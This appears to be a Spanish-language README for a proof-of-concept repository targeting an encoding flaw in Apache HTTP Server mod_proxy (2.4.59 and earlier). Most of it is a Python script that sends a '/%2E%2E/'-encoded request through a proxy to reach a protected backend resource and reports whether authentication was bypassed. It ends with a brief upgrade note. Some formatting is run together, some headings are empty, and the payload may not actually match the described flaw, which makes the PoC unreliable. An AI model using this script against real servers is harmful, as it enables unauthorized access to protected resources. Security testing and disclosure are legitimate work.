
Prueba de concepto que demuestra una falla de codificación en mod_proxy de Apache HTTP Server que puede eludir la autenticación mediante URL codificadas manipuladas.
Este repositorio contiene scripts de Prueba de Concepto (PoC) para demostrar un problema de codificación en el módulo mod_proxy de Apache HTTP Server versiones 2.4.59 y anteriores. Esta vulnerabilidad permite que las URL de solicitud con codificación incorrecta se envíen a servicios backend, potencialmente evadiendo la autenticación mediante solicitudes manipuladas.
CVE-ID: (Pendiente)
Resumen:
Un problema de codificación en el módulo mod_proxy de Apache HTTP Server versiones 2.4.59 y anteriores permite que las URL de solicitud con codificación incorrecta se envíen a servicios backend. Esto puede potencialmente evadir los mecanismos de autenticación mediante solicitudes manipuladas. Se recomienda a los usuarios actualizar a la versión 2.4.60, que corrige este problema.
Versiones Afectadas:
Versión Corregida:
requests (pip install requests)Identifique el Servicio Backend:
http://backend-service.example.com.Elabore una Solicitud Maliciosa:
Ejecute el Script PoC:
mod_proxy_poc.py y ejecútelo.Aquí hay un script en Python que demuestra la vulnerabilidad:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Configuración:
proxy_url: La URL del servidor proxy.backend_service_path: La ruta al recurso protegido en el servicio backend.malicious_path: La ruta incorrectamente codificada para evadir la autenticación.send_malicious_request:
Para mitigar esta vulnerabilidad, actualice a la versión 2.4.60 de Apache HTTP Server, la cual corrige el problema de codificación en el módulo mod_proxy.
Manteniendo su software actualizado y siguiendo las mejores prácticas de seguridad, puede prevenir vulnerabilidades como este problema de codificación en el módulo mod_proxy.